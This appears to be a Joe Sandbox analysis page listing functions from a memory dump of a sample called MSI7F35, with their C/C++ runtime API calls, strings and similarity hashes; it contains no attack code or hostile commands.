Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: e1bb5d23515b0a0963788248a995c95436bdaa1999ac8acba4e4995dc6cc1990
Instruction ID: c40cdcae5a625e1e8680afb05a646672873a43ab8bb75b66a114fd640cf89a95
Opcode Fuzzy Hash: e1bb5d23515b0a0963788248a995c95436bdaa1999ac8acba4e4995dc6cc1990
Instruction Fuzzy Hash: DF018035908629DBCB05EFA8D8456EEBB79FF80320F254509E510EB2D1DF749E858B82

Function 00817A5E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817A65
std::_Lockit::_Lockit.LIBCPMT ref: 00817A6F

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00817AC0
std::_Lockit::~_Lockit.LIBCPMT ref: 00817AE0

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 13728026c9756bb61f442f8634e78934530200384c877a3b938d8428b16dc51c
Instruction ID: 1e87db3306ce4b5f6188dcdc6bbf29ae8df8b96549f5be73e2a0311e89881624
Opcode Fuzzy Hash: 13728026c9756bb61f442f8634e78934530200384c877a3b938d8428b16dc51c
Instruction Fuzzy Hash: 8C01C035904229DBCB00EBA8D8056EEBB79FF80310F250109E411EB2D1DF709E81CBC2

Function 00817B88 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817B8F
std::_Lockit::_Lockit.LIBCPMT ref: 00817B99

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00817BEA
std::_Lockit::~_Lockit.LIBCPMT ref: 00817C0A

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: bfe455ebdf4ae75822c05d1964f93d95a62ab8ca3338d9051e7fa3f9fd26838a
Instruction ID: 7860a68303d86bf988a39f5304f143b824b016b6c87b3fb037c53a95105807d0
Opcode Fuzzy Hash: bfe455ebdf4ae75822c05d1964f93d95a62ab8ca3338d9051e7fa3f9fd26838a
Instruction Fuzzy Hash: 6401AD35900629DBCF05EBA8D8056AEBB79FF80320F240409E410EB2D2DF709E818BC2

Function 00823CD4 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00823CDB
std::_Lockit::_Lockit.LIBCPMT ref: 00823CE5

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00823D36
std::_Lockit::~_Lockit.LIBCPMT ref: 00823D56

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: dbe84150c316ce6efaf4fd0f72324ae97d31f017c0ae280b33f3556581346291
Instruction ID: 863ba3ca9409c9550c07d423064d9e0e112bafee49a1dfc220a72a14200e0e09
Opcode Fuzzy Hash: dbe84150c316ce6efaf4fd0f72324ae97d31f017c0ae280b33f3556581346291
Instruction Fuzzy Hash: DC01C035901229DFCB05EFA8E8156AEBB65FF80310F290509E411EB2D1DFB49E81CB82

Function 00823C3F Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00823C46
std::_Lockit::_Lockit.LIBCPMT ref: 00823C50

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00823CA1
std::_Lockit::~_Lockit.LIBCPMT ref: 00823CC1

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 3fe34051f356850385d9fb5af56365ce6b74ad1d6a9468662da928b54c7f7c17
Instruction ID: 13a7c56012cee1177775ee6d774db6839a55e25b921679cadca023093fda5774
Opcode Fuzzy Hash: 3fe34051f356850385d9fb5af56365ce6b74ad1d6a9468662da928b54c7f7c17
Instruction Fuzzy Hash: 5D01D275900629EBCF01EBA8E8156ADBB65FF84710F240409E810EB3D1DF749F858B82

Function 00817E71 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817E78
std::_Lockit::_Lockit.LIBCPMT ref: 00817E82

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00817ED3
std::_Lockit::~_Lockit.LIBCPMT ref: 00817EF3

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 92f16b38144f4d3aef8a971b73e5de9675c97c8037addf180a20491bcf20dd3e
Instruction ID: 5815d46970402c1fb9dfb723a14618c2d4d0c0863d8b4ec13c38bf1dedd740f6
Opcode Fuzzy Hash: 92f16b38144f4d3aef8a971b73e5de9675c97c8037addf180a20491bcf20dd3e
Instruction Fuzzy Hash: E201D235901229DBCF01EBA8D8056EEBBB9FF80710F240409E510EB3D2DF709E818B82

Function 00817F9B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817FA2
std::_Lockit::_Lockit.LIBCPMT ref: 00817FAC

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00817FFD
std::_Lockit::~_Lockit.LIBCPMT ref: 0081801D

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 3409786f76da7143d243318d0bb037f3cc509d277bec5194c9489ec99f620bc3
Instruction ID: 3f403433fa4541a87b538d2e3f75691b079378ff067f62122acc0656a8a97511
Opcode Fuzzy Hash: 3409786f76da7143d243318d0bb037f3cc509d277bec5194c9489ec99f620bc3
Instruction Fuzzy Hash: 3901C435900629DBCB01EBA8D8566EE7BA5FF84320F250109E410E72D1DF709E858B82

Function 00817F06 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817F0D
std::_Lockit::_Lockit.LIBCPMT ref: 00817F17

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

std::_Facet_Register.LIBCPMT ref: 00817F68
std::_Lockit::~_Lockit.LIBCPMT ref: 00817F88

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 081930923c592b749ff8e0eeccb6c48c16d30db692004446105e5372a384b2f5
Instruction ID: d63682e55df5b308a3b60208ab618bc8bfaff6f990ef54804f7b6160051406d7
Opcode Fuzzy Hash: 081930923c592b749ff8e0eeccb6c48c16d30db692004446105e5372a384b2f5
Instruction Fuzzy Hash: D501D635900629DBCF04EBA8D8056EEBB75FF80310F244509F410EB2D2DF749E428B92

Function 00815C66 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00815C6D
std::_Lockit::_Lockit.LIBCPMT ref: 00815C78
std::_Lockit::~_Lockit.LIBCPMT ref: 00815CE6

Part of subcall function 00815DC8: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00815DE0

std::locale::_Setgloballocale.LIBCPMT ref: 00815C93

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: 259412d44bc3996b7e5b8fab0a5537ef2b75417cb644891c761035d2f7d6ad93
Instruction ID: 8b7eb0ad11728927b58724cf36272ae3a5d2bc40a4322ed79aadd9c3f0ac57ed
Opcode Fuzzy Hash: 259412d44bc3996b7e5b8fab0a5537ef2b75417cb644891c761035d2f7d6ad93
Instruction Fuzzy Hash: 1C01DF75A00B20CBDB05EF28E8059BD7BA5FFC5340B194019E82197381CFB4AE82CBC2

Function 00848C76 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00848643,?,00000001,?,?,?,00847788,?,?,00000000), ref: 00848C8D
GetLastError.KERNEL32(?,00848643,?,00000001,?,?,?,00847788,?,?,00000000,?,?,?,00847D0F,?), ref: 00848C99

Part of subcall function 00848C5F: CloseHandle.KERNEL32(FFFFFFFE,00848CA9,?,00848643,?,00000001,?,?,?,00847788,?,?,00000000,?,?), ref: 00848C6F

___initconout.LIBCMT ref: 00848CA9

Part of subcall function 00848C21: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00848C50,00848630,?,?,00847788,?,?,00000000,?), ref: 00848C34

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00848643,?,00000001,?,?,?,00847788,?,?,00000000,?), ref: 00848CBE

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: ab1726811b0a4f1a7b51e4d975d14ac532ffbb1acc71bd368524adc9f3d70ebf
Instruction ID: d54de3d65536e013a6845906e585c5f945cd0acc6b62e743d9d834bb5515e190
Opcode Fuzzy Hash: ab1726811b0a4f1a7b51e4d975d14ac532ffbb1acc71bd368524adc9f3d70ebf
Instruction Fuzzy Hash: 97F08C36001568BBCF626FD4DC0898D3F22FF093A1F004414FE09D2120CA32C820EBA0

Function 008278FD Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,0082789A,00000064), ref: 00827920
LeaveCriticalSection.KERNEL32(00864AF8,?,?,0082789A,00000064,?,?,008025B6,0086571C,58A46C4B,?,00000000,008493ED,000000FF,?,00801A26), ref: 0082792A
WaitForSingleObjectEx.KERNEL32(?,00000000,?,0082789A,00000064,?,?,008025B6,0086571C,58A46C4B,?,00000000,008493ED,000000FF,?,00801A26), ref: 0082793B
EnterCriticalSection.KERNEL32(00864AF8,?,0082789A,00000064,?,?,008025B6,0086571C,58A46C4B,?,00000000,008493ED,000000FF,?,00801A26), ref: 00827942

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: d1d833b6cbec29463087182f79e2dea2383c8bae5000c8f7e04d71a401479858
Instruction ID: a25911a047efcd367b13685c589fcf915c4d9325b5d4c4092bc5fa80857b1eb5
Opcode Fuzzy Hash: d1d833b6cbec29463087182f79e2dea2383c8bae5000c8f7e04d71a401479858
Instruction Fuzzy Hash: 59E09235A85334B7C7012BD1FC09A9D7F14FB06B22B025015F915A3220CBE45840CBD8

Function 0083709D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0083712D

Strings

pow, xrefs: 00837105, 00837122

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 33b2ae8b86144743cc896299fa97664a813d8003d940b2d9c92e54d8d166e248
Instruction ID: 87a6c7a27a25c7c9d4c037ef9cd5b55ed90334a2b96920e9b0bf1472a8eab707
Opcode Fuzzy Hash: 33b2ae8b86144743cc896299fa97664a813d8003d940b2d9c92e54d8d166e248
Instruction Fuzzy Hash: 93516DA2E0C60696CB257718C95136F7B94FBC0711F204D79F595C22AAEA38CC959AC3

Function 00826C34 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00826D98

Strings

-, xrefs: 00826DC9
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00826CFE, 00826D35, 00826D3A

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: 0a475c5444dd1b6a8001a56e2cad851d28528d649b3a42cd1fc41d480370516f
Instruction ID: aae5da6f59ca24e9afbac8f1cde9e1d95d9d47c3c2529ca32a0ee68afb72dc1a
Opcode Fuzzy Hash: 0a475c5444dd1b6a8001a56e2cad851d28528d649b3a42cd1fc41d480370516f
Instruction Fuzzy Hash: 5451F570B0427C9BCF259E6CA8907BEBBBAFF45310F14406AE8D1D7241E2758DD28B90

Function 0080F860 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0080FA3E

Strings

true, xrefs: 0080F97B
false, xrefs: 0080F965

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: decabd3b184d2a6202e1882ff2bd48f7701c1db938086157d0f26dc30fd9faf3
Instruction ID: 8c86e66f0e9ef2b8276ab9db3e47584af5bb1d8c0ac9f5fe5ef02358077d7160
Opcode Fuzzy Hash: decabd3b184d2a6202e1882ff2bd48f7701c1db938086157d0f26dc30fd9faf3
Instruction Fuzzy Hash: 9151B5B1D003589FDB20DFA8C841BEEBBB8FF05314F14822AE945E7681E774A949CB51

Function 008222AA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008222B1
_swprintf.LIBCMT ref: 00822329

Part of subcall function 0081780A: __EH_prolog3.LIBCMT ref: 00817811
Part of subcall function 0081780A: std::_Lockit::_Lockit.LIBCPMT ref: 0081781B
Part of subcall function 0081780A: std::_Lockit::~_Lockit.LIBCPMT ref: 0081788C

Strings

%.0Lf, xrefs: 00822321

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~__swprintf
String ID: %.0Lf
API String ID: 2348759532-1402515088
Opcode ID: 517c23262b02ed62624ff4d6ef9de26f9310abd35784074fb33a2c1445cdaddb
Instruction ID: 0b10ff1a4258646a1ecfa7b4b85beaacdf7e988618acbb69f38a2398d6d82b1f
Opcode Fuzzy Hash: 517c23262b02ed62624ff4d6ef9de26f9310abd35784074fb33a2c1445cdaddb
Instruction Fuzzy Hash: 50515771D00218EBCF05DFE8D845ADDBBB9FF08300F208519E502EB2A5EB349985CB51

Function 0082258E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00822595
_swprintf.LIBCMT ref: 0082260D

Part of subcall function 0080B500: std::_Lockit::_Lockit.LIBCPMT ref: 0080B52D
Part of subcall function 0080B500: std::_Lockit::_Lockit.LIBCPMT ref: 0080B550
Part of subcall function 0080B500: std::_Lockit::~_Lockit.LIBCPMT ref: 0080B578
Part of subcall function 0080B500: std::_Lockit::~_Lockit.LIBCPMT ref: 0080B617

Strings

%.0Lf, xrefs: 00822605

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: b32fd3408252506d7aaf762c4158aa991cd62d2f69d7de025d3afa6475ea525d
Instruction ID: 2200a9ee15271ae1003cce331bebf2640c4ae23ed48b153b74c7506b7234ebe0
Opcode Fuzzy Hash: b32fd3408252506d7aaf762c4158aa991cd62d2f69d7de025d3afa6475ea525d
Instruction Fuzzy Hash: 35514671D00229AFCF09DFE8D855ADDBBB9FF08300F208559E942EB291EB349955CB91

Function 00826607 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0082660E
_swprintf.LIBCMT ref: 00826686

Part of subcall function 0080C590: std::_Lockit::_Lockit.LIBCPMT ref: 0080C5BD
Part of subcall function 0080C590: std::_Lockit::_Lockit.LIBCPMT ref: 0080C5E0
Part of subcall function 0080C590: std::_Lockit::~_Lockit.LIBCPMT ref: 0080C608
Part of subcall function 0080C590: std::_Lockit::~_Lockit.LIBCPMT ref: 0080C6A7

Strings

%.0Lf, xrefs: 0082667E

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 5f61a414f52771d1b37a0a7f845ded9929f843b481a96a84bf6ced877a7313b0
Instruction ID: 13627726a2813686a541f0e4621fed54ccd8269361600edb5d540d417cf84ad5
Opcode Fuzzy Hash: 5f61a414f52771d1b37a0a7f845ded9929f843b481a96a84bf6ced877a7313b0
Instruction Fuzzy Hash: FF515771D00218EFCF09DFE8E885ADEBBB9FB08304F208519E502EB295EB349955CB51

Function 00809620 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

\\?\, xrefs: 0080976E, 0080979B
\\?\UNC\, xrefs: 008096F7, 00809752

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: ec68d661bfddb5c9ed3c0a72c73afcbd7d213da4cfa711565c0fd3fa5eb57867
Instruction ID: 8f77be3a0c22bb8fa6fbb2da79a6f392c220ca66500dce6f9d37a90f1bc02aa8
Opcode Fuzzy Hash: ec68d661bfddb5c9ed3c0a72c73afcbd7d213da4cfa711565c0fd3fa5eb57867
Instruction Fuzzy Hash: FD51CF71A102089BDB24CF68CC95BAEB7B5FFA4314F10451DE851F72C1DBB5A988CB90

